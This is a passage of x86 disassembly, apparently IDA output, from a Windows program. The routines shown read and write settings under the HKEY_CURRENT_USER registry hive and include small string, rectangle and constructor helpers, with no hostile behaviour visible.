		mov	byte ptr [ebp-4], 0
		lea	ecx, [ebp+8]
		call	dword_433168
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+18h]
		call	dword_433168
		mov	eax, [ebp-4Ch]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	28h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4326AA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp-10h], ecx
		mov	dword ptr [ebp-4], 1
		mov	ecx, [ebp-10h]
		add	ecx, 38h
		call	dword_433168
		mov	byte ptr [ebp-4], 0
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		call	dword_433168
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		call	sub_4284A0
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427B23	proc near		; CODE XREF: TEUm:00427A89p
					; TEUm:00427D66p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_20]
		add	eax, 4
		push	eax
		push	20019h
		push	0
		mov	ecx, [ebp+var_20]
		add	ecx, 18h
		call	dword_433188
		push	eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		push	edx
		call	dword_433004	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_427C62
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	ecx, [ebp+var_C]
		push	ecx
		push	0
		mov	ecx, [ebp+var_20]
		add	ecx, 8
		call	dword_433188
		push	eax
		mov	edx, [ebp+var_20]
		mov	eax, [edx+4]
		push	eax
		call	dword_433010	; RegQueryValueExA
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_431784
		add	esp, 4
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		mov	[ebp+var_8], edx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		push	0
		mov	ecx, [ebp+var_20]
		add	ecx, 8
		call	dword_433188
		push	eax
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433010	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_427C26
		mov	edx, [ebp+var_8]
		push	edx
		mov	ecx, [ebp+var_20]
		add	ecx, 28h
		call	dword_433184
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_43177E
		add	esp, 4
		mov	edx, [ebp+var_20]
		mov	dword ptr [edx+48h], 1
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_20]
		add	edx, 28h
		push	edx
		mov	ecx, [ebp+arg_0]
		call	dword_433180
		mov	eax, [ebp+var_1C]
		or	al, 1
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_0]
		jmp	short loc_427C7E
; ---------------------------------------------------------------------------


loc_427C26:				; CODE XREF: sub_427B23+ABj
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_18]
		push	edx
		call	sub_43177E
		add	esp, 4
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_20]
		add	edx, 38h
		push	edx
		mov	ecx, [ebp+arg_0]
		call	dword_433180
		mov	eax, [ebp+var_1C]
		or	al, 1
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_0]
		jmp	short loc_427C7E
; ---------------------------------------------------------------------------


loc_427C62:				; CODE XREF: sub_427B23+39j
		mov	ecx, [ebp+var_20]
		add	ecx, 38h
		push	ecx
		mov	ecx, [ebp+arg_0]
		call	dword_433180
		mov	edx, [ebp+var_1C]
		or	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_0]


loc_427C7E:				; CODE XREF: sub_427B23+101j
					; sub_427B23+13Dj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_427B23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427C84	proc near		; CODE XREF: TEUm:00427E7Ep

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		push	ecx
		push	0
		push	20006h
		push	0
		push	offset dword_439CF4
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 18h
		call	dword_433188
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	dword_43300C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_427CC7
		jmp	short loc_427D1D
; ---------------------------------------------------------------------------


loc_427CC7:				; CODE XREF: sub_427C84+3Fj
		mov	ecx, [ebp+var_8]
		add	ecx, 28h
		call	dword_43318C
		add	eax, 1
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 28h
		call	dword_433188
		push	eax
		push	1
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 8
		call	dword_433188
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_427D10
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+48h], 1


loc_427D10:				; CODE XREF: sub_427C84+80j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433000	; RegCloseKey


loc_427D1D:				; CODE XREF: sub_427C84+41j
		mov	esp, ebp
		pop	ebp
		retn
sub_427C84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4326BE
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		mov	[ebp-24h], ecx
		mov	eax, [ebp-24h]
		cmp	dword ptr [eax+48h], 0
		jz	short loc_427D5F
		mov	ecx, [ebp-24h]
		cmp	dword ptr [ecx+4Ch], 0
		jnz	short loc_427D5F
		mov	ecx, [ebp-24h]
		add	ecx, 28h
		call	dword_433188
		jmp	short loc_427D9A
; ---------------------------------------------------------------------------


loc_427D5F:				; CODE XREF: TEUm:00427D46j
					; TEUm:00427D4Fj
		lea	edx, [ebp-20h]
		push	edx
		mov	ecx, [ebp-24h]
		call	sub_427B23
		mov	[ebp-28h], eax
		mov	eax, [ebp-28h]
		mov	[ebp-2Ch], eax
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-2Ch]
		call	dword_433188
		mov	[ebp-10h], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-20h]
		call	dword_433168
		mov	eax, [ebp-10h]


loc_427D9A:				; CODE XREF: TEUm:00427D5Dj
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp-8], ecx
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp-8]
		cmp	dword ptr [eax+48h], 0
		jz	short loc_427DE7
		mov	ecx, [ebp-8]
		cmp	dword ptr [ecx+4Ch], 0
		jnz	short loc_427DE7
		mov	edx, [ebp-8]
		add	edx, 28h
		push	edx
		mov	ecx, [ebp+8]
		call	dword_433180
		mov	eax, [ebp-4]
		or	al, 1
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		jmp	short loc_427DFF
; ---------------------------------------------------------------------------


loc_427DE7:				; CODE XREF: TEUm:00427DBFj
					; TEUm:00427DC8j
		mov	ecx, [ebp+8]
		push	ecx
		mov	ecx, [ebp-8]
		call	sub_427B23
		mov	edx, [ebp-4]
		or	edx, 1
		mov	[ebp-4], edx
		mov	eax, [ebp+8]


loc_427DFF:				; CODE XREF: TEUm:00427DE5j
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4326D2
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		mov	[ebp-18h], ecx
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp-18h]
		add	eax, 28h
		push	eax
		lea	ecx, [ebp+8]
		push	ecx
		call	dword_433190
		add	esp, 8
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_427E6B
		mov	edx, [ebp-18h]
		cmp	dword ptr [edx+4Ch], 0
		jnz	short loc_427E6B
		mov	eax, [ebp-18h]
		mov	[ebp-10h], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	dword_433168
		mov	eax, [ebp-10h]
		jmp	short loc_427E9C
; ---------------------------------------------------------------------------


loc_427E6B:				; CODE XREF: TEUm:00427E45j
					; TEUm:00427E4Ej
		lea	ecx, [ebp+8]
		push	ecx
		mov	ecx, [ebp-18h]
		add	ecx, 28h
		call	dword_43317C
		mov	ecx, [ebp-18h]
		call	sub_427C84
		mov	edx, [ebp-18h]
		mov	[ebp-14h], edx
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	dword_433168
		mov	eax, [ebp-14h]


loc_427E9C:				; CODE XREF: TEUm:00427E69j
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4326E5
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp-10h], ecx
		mov	ecx, [ebp-10h]
		call	sub_428440
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp-10h]
		mov	dword ptr [eax+28h], 0
		mov	ecx, [ebp-10h]
		mov	dword ptr [ecx+2Ch], 0
		push	offset dword_439CF8
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	dword_433194
		mov	edx, [ebp-10h]
		mov	dword ptr [edx], 80000001h
		mov	eax, [ebp-10h]
		mov	dword ptr [eax+30h], 0
		mov	ecx, [ebp-10h]
		mov	dword ptr [ecx+34h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_432716
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		mov	[ebp-34h], ecx
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-34h]
		call	sub_428440
		mov	byte ptr [ebp-4], 1
		mov	eax, [ebp-34h]
		mov	dword ptr [eax+28h], 0
		mov	ecx, [ebp-34h]
		mov	edx, [ebp+18h]
		mov	[ecx+2Ch], edx
		mov	eax, [ebp-34h]
		mov	ecx, [ebp+1Ch]
		mov	[eax+34h], ecx
		mov	edx, [ebp-34h]
		mov	eax, [ebp+20h]
		mov	[edx], eax
		mov	ecx, [ebp-34h]
		mov	dword ptr [ecx+30h], 0
		mov	edx, dword_433178
		mov	eax, [edx]
		push	eax
		push	5Ch
		lea	ecx, [ebp+8]
		call	dword_433174
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		push	ecx
		push	0
		lea	edx, [ebp-20h]
		push	edx
		lea	ecx, [ebp+8]
		call	dword_433170
		mov	[ebp-38h], eax
		mov	eax, [ebp-38h]
		mov	[ebp-3Ch], eax
		mov	byte ptr [ebp-4], 2
		mov	ecx, [ebp-3Ch]
		push	ecx
		mov	ecx, [ebp-34h]
		add	ecx, 18h
		call	dword_43317C
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-20h]
		call	dword_433168
		mov	edx, dword_433178
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp-10h]
		add	ecx, 1
		push	ecx
		lea	edx, [ebp-30h]
		push	edx
		lea	ecx, [ebp+8]
		call	dword_433170
		mov	[ebp-40h], eax
		mov	eax, [ebp-40h]
		mov	[ebp-44h], eax
		mov	byte ptr [ebp-4], 3
		mov	ecx, [ebp-44h]
		push	ecx
		mov	ecx, [ebp-34h]
		add	ecx, 8
		call	dword_43317C
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-30h]
		call	dword_433168
		mov	ecx, [ebp-34h]
		call	sub_428069
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	dword_433168
		mov	eax, [ebp-34h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	1Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	ecx, [ebp-4]
		call	sub_4284A0
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428069	proc near		; CODE XREF: TEUm:0042802Ep
					; TEUm:004281BEp

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		push	20019h
		push	0
		mov	ecx, [ebp+var_C]
		add	ecx, 18h
		call	dword_433188
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		push	edx
		call	dword_433004	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_428107
		mov	[ebp+var_4], 4
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_C]
		add	ecx, 28h
		push	ecx
		lea	edx, [ebp+var_8]
		push	edx
		push	0
		mov	ecx, [ebp+var_C]
		add	ecx, 8
		call	dword_433188
		push	eax
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433010	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4280F2
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+30h], 1
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_C]
		mov	eax, [edx+28h]
		jmp	short loc_42810D
; ---------------------------------------------------------------------------


loc_4280F2:				; CODE XREF: sub_428069+68j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_C]
		mov	eax, [edx+2Ch]
		jmp	short loc_42810D
; ---------------------------------------------------------------------------


loc_428107:				; CODE XREF: sub_428069+32j
		mov	eax, [ebp+var_C]
		mov	eax, [eax+2Ch]


loc_42810D:				; CODE XREF: sub_428069+87j
					; sub_428069+9Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_428069	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp-8], ecx
		lea	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp-8]
		add	ecx, 4
		push	ecx
		push	0
		push	20006h
		push	0
		push	offset dword_439CFC
		push	0
		mov	ecx, [ebp-8]
		add	ecx, 18h
		call	dword_433188
		push	eax
		mov	edx, [ebp-8]
		mov	eax, [edx]
		push	eax
		call	dword_43300C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_428154
		jmp	short loc_428196
; ---------------------------------------------------------------------------


loc_428154:				; CODE XREF: TEUm:00428150j
		push	4
		mov	ecx, [ebp-8]
		add	ecx, 28h
		push	ecx
		push	4
		push	0
		mov	ecx, [ebp-8]
		add	ecx, 8
		call	dword_433188
		push	eax
		mov	edx, [ebp-8]
		mov	eax, [edx+4]
		push	eax
		call	dword_433008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_428189
		mov	ecx, [ebp-8]
		mov	dword ptr [ecx+30h], 1


loc_428189:				; CODE XREF: TEUm:0042817Dj
		mov	edx, [ebp-8]
		mov	eax, [edx+4]
		push	eax
		call	dword_433000	; RegCloseKey


loc_428196:				; CODE XREF: TEUm:00428152j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+30h], 0
		jz	short loc_4281BB
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+34h], 0
		jnz	short loc_4281BB
		mov	edx, [ebp-4]
		mov	eax, [edx+28h]
		jmp	short loc_4281C3
; ---------------------------------------------------------------------------


loc_4281BB:				; CODE XREF: TEUm:004281A8j
					; TEUm:004281B1j
		mov	ecx, [ebp-4]
		call	sub_428069


loc_4281C3:				; CODE XREF: TEUm:004281B9j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4281D0	proc near		; CODE XREF: TEUm:0042651Fp
					; sub_426584+29p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_4281D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		call	sub_4317AE
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_4317AE
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_4281D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428230	proc near		; CODE XREF: sub_4266D6+Ap
					; sub_426ABF+47p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_428230
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_4317A2
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		call	sub_4317A2
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_428230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428280	proc near		; CODE XREF: sub_426584+BFp
					; sub_42692B+E9p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_4282A0
		mov	eax, [eax+4]
		mov	esp, ebp
		pop	ebp
		retn
sub_428280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4282A0	proc near		; CODE XREF: sub_428280+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		sub	eax, 0Ch
		mov	esp, ebp
		pop	ebp
		retn
sub_4282A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4282C0	proc near		; CODE XREF: sub_426DB8+30p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+arg_0]
		call	sub_4282E0
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebp
		retn	8
sub_4282C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4282E0	proc near		; CODE XREF: sub_4282C0+Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		call	sub_428300
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4282E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428300	proc near		; CODE XREF: sub_4282E0+11p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4331EC	; _mbscmp
		add	esp, 8
		pop	ebp
		retn
sub_428300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428320	proc near		; CODE XREF: TEUm:00426EA6p
					; TEUm:00426ED2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_428320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428360	proc near		; CODE XREF: sub_4270ED+AAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_433290	; CopyRect
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_428360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428380	proc near		; CODE XREF: TEUm:0042737Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_433294	; EqualRect
		mov	esp, ebp
		pop	ebp
		retn	4
sub_428380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4283A0	proc near		; CODE XREF: TEUm:00426E8Bp
					; TEUm:00426E96p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4283A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4283B0	proc near		; CODE XREF: TEUm:00427409p
					; TEUm:00427423p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	[edx+4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4283B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4283E0	proc near		; CODE XREF: sub_427610+B0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+arg_4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4283E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428400	proc near		; CODE XREF: TEUm:0042785Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_0]
		jnz	short loc_428427
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_428427
		mov	[ebp+var_8], 1
		jmp	short loc_42842E
; ---------------------------------------------------------------------------


loc_428427:				; CODE XREF: sub_428400+11j
					; sub_428400+1Cj
		mov	[ebp+var_8], 0


loc_42842E:				; CODE XREF: sub_428400+25j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_428400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428440	proc near		; CODE XREF: TEUm:004278B6p
					; TEUm:0042797Ap ...

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_428440
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		mov	[ebp+var_18], ecx
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_18]
		add	ecx, 8
		call	dword_43316C
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_14]
		push	ecx
		mov	ecx, [ebp+var_18]
		add	ecx, 18h
		call	dword_43316C
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_428440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4284A0	proc near		; CODE XREF: TEUm:00427B10p
					; TEUm:00428060p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_4284A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 18h
		call	dword_433168
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		call	dword_433168
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_4284A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4284F0	proc near		; DATA XREF: TEUm:00437004o
		push	ebp
		mov	ebp, esp
		call	sub_4284FF
		call	sub_42850E
		pop	ebp
		retn
sub_4284F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4284FF	proc near		; CODE XREF: sub_4284F0+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset dword_439D00
		call	sub_429850
		pop	ebp
		retn
sub_4284FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42850E	proc near		; CODE XREF: sub_4284F0+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_428520
		call	sub_431902
		add	esp, 4
		pop	ebp
		retn
sub_42850E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428520	proc near		; DATA XREF: sub_42850E+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset dword_439D00
		call	sub_4297D0
		pop	ebp
		retn
sub_428520	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42852F	proc near		; CODE XREF: sub_42948F+F9p

var_28DC	= dword	ptr -28DCh
var_28D8	= dword	ptr -28D8h
var_28D4	= dword	ptr -28D4h
var_28D0	= dword	ptr -28D0h
var_28CA	= word ptr -28CAh
var_28C8	= dword	ptr -28C8h
var_28C4	= dword	ptr -28C4h
var_28C0	= dword	ptr -28C0h
var_28BC	= dword	ptr -28BCh
var_28B8	= dword	ptr -28B8h
